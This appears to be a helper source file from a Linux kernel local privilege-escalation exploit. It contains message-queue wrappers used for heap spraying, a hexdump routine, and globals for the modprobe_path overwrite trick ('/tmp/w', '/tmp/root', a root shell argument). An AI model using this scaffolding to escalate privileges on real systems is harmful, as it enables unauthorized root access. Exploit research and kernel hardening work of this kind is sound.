README.md
Rendering markdown...
#include "util.h"
char *modprobe_win = "/tmp/w";
char *modprobe_trigger = "/tmp/root";
char *root_argv[] = {"-p", NULL};
void hexprint(char *buffer, unsigned int bytes)
{
int dqwords = ((bytes + 0x10 - 1)&0xfffffff0) / 0x10;
int qwords = dqwords * 2;
for (int i = 0; i < qwords; i+=2) {
printf("0x%04x: 0x%016llx 0x%016llx\n", (i * 0x8), ((unsigned long long*)buffer)[i], ((unsigned long long*)buffer)[i+1]);
}
puts("-----------------------------------------------");
return;
}
int32_t make_queue(key_t key, int msgflg)
{
int32_t result;
if ((result = msgget(key, msgflg)) == -1)
{
perror("msgget failure");
exit(-1);
}
return result;
}
ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
{
ssize_t ret;
ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
return ret;
}
ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg)
{
ssize_t ret;
ret = msgrcv(msqid, msgp, msgsz, msgtyp, msgflg);
if (ret < 0)
{
perror("msgrcv");
exit(-1);
}
return ret;
}
void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg)
{
if (msgsnd(msqid, msgp, msgsz, msgflg) == -1)
{
perror("msgsend failure");
exit(-1);
}
return;
}